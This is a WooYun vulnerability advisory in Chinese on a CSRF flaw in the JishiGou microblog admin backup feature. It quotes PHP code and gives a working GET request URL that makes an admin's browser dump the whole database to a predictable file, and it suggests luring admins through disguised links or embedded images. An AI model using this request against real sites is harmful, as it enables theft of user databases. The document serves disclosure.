当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077398

漏洞标题:记事狗定制裁剪逻辑错误导致csrf脱裤

相关厂商:杭州神话

漏洞作者: menmen519

提交时间:2014-09-26 18:26

修复时间:2014-12-22 18:28

公开时间:2014-12-22 18:28

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-26: 细节已通知厂商并且等待厂商处理中
2014-10-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-25: 细节向核心白帽子及相关领域专家公开
2014-12-05: 细节向普通白帽子公开
2014-12-15: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

记事狗 定制裁剪逻辑错误导致csrf脱裤 这个系统交互程度还是相对比较大,因为是微博相关,所以在这里提出来

详细说明:

直接看代码:
db.mod.php:(576-620):

$f = str_replace(array('/', '\\', '.'), '', $filename);
$f = dir_safe($f);
$backupdir = 'db/' . $f;
$backupfilename = './data/backup/'.$backupdir.'/'.$f;
if (!is_dir(($d = dirname($backupfilename)))) {
jio()->MakeDir($d);
}

if($usezip) {
require_once ROOT_PATH . 'include/func/zip.func.php';
}

if($method == 'multivol') {
$sqldump = '';
$tableid = intval(get_param('tableid'));
$startfrom = intval(get_param('startfrom'));
$complete = TRUE;
for(; $complete && $tableid < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $tableid++) {
$sqldump .= $this->_sql_dump_table($tables[$tableid], $startfrom, strlen($sqldump));
if($complete) {
$startfrom = 0;
}
}
$dumpfile = $backupfilename."-%s".'.sql';
!$complete && $tableid--;
if(trim($sqldump)) {
$sqldump = "$idstring".
"# <?php exit(); ?>\n".
"# JishiGou Multi-Volume Data Dump Vol.$volume\n".
"# Version: JishiGou ".SYS_VERSION."\n".
"# Time: $time\n".
"# Type: $type\n".
"# Table Prefix: $tablepre\n".
"#\n".
"# JishiGou Home: http:\/\/www.jishigou.net\n".
"# Please visit our website for newest infomation about JishiGou\n".
"# --------------------------------------------------------\n\n\n".
"$setnames".
$sqldump;
$dumpfilename = sprintf($dumpfile, $volume);


看见了没有 最终备份的数据库名字来自两个地方,我们提炼一下:

$f = str_replace(array('/', '\\', '.'), '', $filename);
$f = dir_safe($f);
$backupdir = 'db/' . $f;
$backupfilename = './data/backup/'.$backupdir.'/'.$f;
$dumpfile = $backupfilename."-%s".'.sql';
$dumpfilename = sprintf($dumpfile, $volume);


看到了没有 需要的这些参数完全是从url可以控制的,我们发送url:
http://192.168.10.70/archiver-jishigou.4.7.4.20140922.utf8/admin.php?mod=db&code=doexport&type=all_tables&saveto=server&filename=201409261043_xxxx&method=multivol&sizelimit=2048&volume=2&tableid=1&startfrom=0&extendins=1&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=1&usezip=0
filename 和 volume 控制了我们备份的文件名称
我们访问一下

1.png


2.png


这个是一个get请求 而且没有csrf 你可以在自己网站分享一个链接给管理员 伪装的好一些 也可以在微博里面嵌入图片等等 方法就不多说了

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-22 18:28

厂商回复:

最新状态:

暂无